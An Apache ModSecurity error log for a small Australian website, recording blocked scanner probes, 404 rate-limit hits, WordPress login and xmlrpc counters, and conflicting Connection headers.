[Wed Mar 18 23:02:41.571133 2026] [:error] [pid 53755:tid 53774] [client 20.120.18.145:1397] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abq-kaqw5ZSRshmIhWmLRAAAAVE"]
[Wed Mar 18 23:02:49.930923 2026] [:error] [pid 53755:tid 53762] [client 20.120.18.145:55164] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abq-maqw5ZSRshmIhWmLaQAAAUU"]
[Wed Mar 18 23:02:51.358046 2026] [:error] [pid 31232:tid 31250] [client 20.120.18.145:55763] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abq-m2X6HV7dqh3BQD02vwAAAE8"]
[Wed Mar 18 23:02:54.027213 2026] [:error] [pid 42871:tid 42916] [client 20.120.18.145:53333] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abq-nmPUS0lM1M9nUaKVYwAAAII"]
[Thu Mar 19 00:26:23.400408 2026] [:error] [pid 19208:tid 19346] [client 43.153.76.247:34564] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abrSL94kPqt9Qws3poFIoAAAAIM"]
[Thu Mar 19 01:31:50.745697 2026] [:error] [pid 19431:tid 19496] [client 43.153.204.189:47462] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abrhhjioVgnJ_ZdBjct5FwAAAEs"]
[Thu Mar 19 01:54:45.223232 2026] [:error] [pid 19431:tid 19511] [client 4.204.253.219:7747] [client 4.204.253.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.253.219, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abrm5TioVgnJ_ZdBjcuEFQAAAFg"]
[Thu Mar 19 01:54:47.886007 2026] [:error] [pid 19431:tid 19496] [client 4.204.253.219:7747] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrm5zioVgnJ_ZdBjcuEIQAAAEs"]
[Thu Mar 19 01:54:58.678852 2026] [:error] [pid 19224:tid 19379] [client 4.204.253.219:7750] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrm8jxUIaHQ6Y3ff51j4AAAAck"]
[Thu Mar 19 02:12:50.334907 2026] [:error] [pid 19431:tid 19492] [client 223.244.35.77:33226] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abrrIjioVgnJ_ZdBjcuOGgAAAEc"]
[Thu Mar 19 03:56:43.172467 2026] [:error] [pid 23988:tid 24005] [client 103.147.133.4:65468] [client 103.147.133.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.133.4, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "absDe2nlkSPXj2matr3NcQAAAM4"]
[Thu Mar 19 06:10:34.103977 2026] [:error] [pid 23883:tid 23941] [client 43.157.50.58:45546] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "absi2tNi-EnEAH4abz16EwAAAEw"]
[Thu Mar 19 06:31:06.669586 2026] [:error] [pid 31205:tid 31239] [client 31.171.130.16:42805] [client 31.171.130.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "absnqlu5gZKGrGz5P1H5ZQAAAVY"]
[Thu Mar 19 07:34:56.023699 2026] [:error] [pid 31205:tid 31231] [client 145.239.65.236:37852] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abs2oFu5gZKGrGz5P1EUaAAAAU4"]
[Thu Mar 19 07:34:59.784745 2026] [:error] [pid 3278:tid 3303] [client 145.239.65.236:34484] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abs2owC2T_lM6ZgvfcQ9QAAAARY"]
[Thu Mar 19 07:35:04.054931 2026] [:error] [pid 32226:tid 32247] [client 145.239.65.236:34500] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abs2qLBb58lgPwqxC6qBRwAAAxM"]
[Thu Mar 19 07:35:08.705984 2026] [:error] [pid 31205:tid 31229] [client 145.239.65.236:34504] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abs2rFu5gZKGrGz5P1EUfAAAAUw"]
[Thu Mar 19 07:35:12.844949 2026] [:error] [pid 31447:tid 31472] [client 145.239.65.236:36928] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abs2sBmVNRDSLnGvghhLhwAAAhE"]
[Thu Mar 19 07:35:16.409856 2026] [:error] [pid 31447:tid 31471] [client 145.239.65.236:36944] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abs2tBmVNRDSLnGvghhLkAAAAhA"]
[Thu Mar 19 07:35:19.827488 2026] [:error] [pid 31205:tid 31231] [client 145.239.65.236:46458] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abs2t1u5gZKGrGz5P1EUiwAAAU4"]
[Thu Mar 19 07:35:24.086540 2026] [:error] [pid 31205:tid 31238] [client 145.239.65.236:46462] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abs2vFu5gZKGrGz5P1EUkQAAAVU"]
[Thu Mar 19 07:35:27.416427 2026] [:error] [pid 31205:tid 31236] [client 145.239.65.236:46466] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abs2v1u5gZKGrGz5P1EUngAAAVM"]
[Thu Mar 19 07:35:31.073586 2026] [:error] [pid 31205:tid 31221] [client 145.239.65.236:52088] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abs2w1u5gZKGrGz5P1EUpgAAAUU"]
[Thu Mar 19 07:35:33.923139 2026] [:error] [pid 32226:tid 32240] [client 145.239.65.236:52098] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abs2xbBb58lgPwqxC6qBdQAAAww"]
[Thu Mar 19 07:35:37.144956 2026] [:error] [pid 31313:tid 31361] [client 145.239.65.236:52112] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abs2yQ9HuAbqf2tZOycD8gAAAcA"]
[Thu Mar 19 07:35:40.788551 2026] [:error] [pid 23884:tid 23978] [client 145.239.65.236:53018] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abs2zF6St-VCdOYnZMoAmgAAAJY"]
[Thu Mar 19 07:35:43.659192 2026] [:error] [pid 31447:tid 31472] [client 145.239.65.236:53026] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abs2zxmVNRDSLnGvghhLswAAAhE"]
[Thu Mar 19 07:35:46.530586 2026] [:error] [pid 32226:tid 32229] [client 145.239.65.236:53034] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abs20rBb58lgPwqxC6qBrAAAAwE"]
[Thu Mar 19 07:35:49.945743 2026] [:error] [pid 32226:tid 32234] [client 145.239.65.236:33664] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abs21bBb58lgPwqxC6qB9QAAAwY"]
[Thu Mar 19 07:36:18.383043 2026] [:error] [pid 32226:tid 32247] [client 145.239.65.236:33676] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abs28rBb58lgPwqxC6qCbwAAAxM"]
[Thu Mar 19 07:36:21.770221 2026] [:error] [pid 31205:tid 31235] [client 145.239.65.236:57424] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abs29Vu5gZKGrGz5P1EU8wAAAVI"]
[Thu Mar 19 07:36:24.799859 2026] [:error] [pid 31447:tid 31473] [client 145.239.65.236:57440] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abs2-BmVNRDSLnGvghhL1AAAAhI"]
[Thu Mar 19 07:36:27.636749 2026] [:error] [pid 3278:tid 3283] [client 145.239.65.236:57454] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abs2-wC2T_lM6ZgvfcQ9ZgAAAQI"]
[Thu Mar 19 07:36:30.894959 2026] [:error] [pid 31205:tid 31233] [client 145.239.65.236:41848] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "abs2_lu5gZKGrGz5P1EVAQAAAVA"]
[Thu Mar 19 07:36:33.852597 2026] [:error] [pid 31205:tid 31241] [client 145.239.65.236:41864] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abs3AVu5gZKGrGz5P1EVKgAAAVg"]
[Thu Mar 19 07:36:36.711141 2026] [:error] [pid 32226:tid 32242] [client 145.239.65.236:41872] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abs3BLBb58lgPwqxC6qCyAAAAw4"]
[Thu Mar 19 07:36:39.717304 2026] [:error] [pid 31447:tid 31463] [client 145.239.65.236:58166] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abs3BxmVNRDSLnGvghhL3gAAAgg"]
[Thu Mar 19 07:36:42.442067 2026] [:error] [pid 31447:tid 31475] [client 145.239.65.236:58176] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "abs3ChmVNRDSLnGvghhL6gAAAhQ"]
[Thu Mar 19 07:36:45.436557 2026] [:error] [pid 23884:tid 23974] [client 145.239.65.236:58184] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abs3DV6St-VCdOYnZMoAxgAAAJI"]
[Thu Mar 19 07:36:48.146185 2026] [:error] [pid 3278:tid 3300] [client 145.239.65.236:58198] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abs3EAC2T_lM6ZgvfcQ9dQAAARM"]
[Thu Mar 19 07:36:51.397988 2026] [:error] [pid 32226:tid 32228] [client 145.239.65.236:40324] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abs3E7Bb58lgPwqxC6qC4gAAAwA"]
[Thu Mar 19 07:36:54.373412 2026] [:error] [pid 32226:tid 32229] [client 145.239.65.236:40328] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abs3FrBb58lgPwqxC6qC5AAAAwE"]
[Thu Mar 19 07:36:58.065555 2026] [:error] [pid 32226:tid 32231] [client 145.239.65.236:40340] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abs3GrBb58lgPwqxC6qC7AAAAwM"]
[Thu Mar 19 07:37:00.585351 2026] [:error] [pid 32226:tid 32241] [client 145.239.65.236:49956] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abs3HLBb58lgPwqxC6qC9AAAAw0"]
[Thu Mar 19 07:37:03.398561 2026] [:error] [pid 32226:tid 32252] [client 145.239.65.236:49970] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abs3H7Bb58lgPwqxC6qC_AAAAxg"]
[Thu Mar 19 07:37:06.266815 2026] [:error] [pid 3278:tid 3292] [client 145.239.65.236:49972] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abs3IgC2T_lM6ZgvfcQ9fQAAAQs"]
[Thu Mar 19 07:37:09.311487 2026] [:error] [pid 31205:tid 31234] [client 145.239.65.236:45668] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abs3JVu5gZKGrGz5P1EViwAAAVE"]
[Thu Mar 19 07:37:11.835408 2026] [:error] [pid 31205:tid 31220] [client 145.239.65.236:45672] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abs3J1u5gZKGrGz5P1EVkwAAAUQ"]
[Thu Mar 19 07:37:14.351272 2026] [:error] [pid 32226:tid 32245] [client 145.239.65.236:45682] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abs3KrBb58lgPwqxC6qDIAAAAxE"]
[Thu Mar 19 07:37:37.812842 2026] [:error] [pid 32226:tid 32236] [client 145.239.65.236:45690] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abs3QbBb58lgPwqxC6qDfwAAAwg"]
[Thu Mar 19 07:37:40.310959 2026] [:error] [pid 3278:tid 3297] [client 145.239.65.236:34488] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abs3RAC2T_lM6ZgvfcQ9jAAAARA"]
[Thu Mar 19 07:37:43.020913 2026] [:error] [pid 31447:tid 31478] [client 145.239.65.236:34500] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abs3RxmVNRDSLnGvghhMMAAAAhc"]
[Thu Mar 19 07:37:45.600958 2026] [:error] [pid 23884:tid 23974] [client 145.239.65.236:34506] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abs3SV6St-VCdOYnZMoA9AAAAJI"]
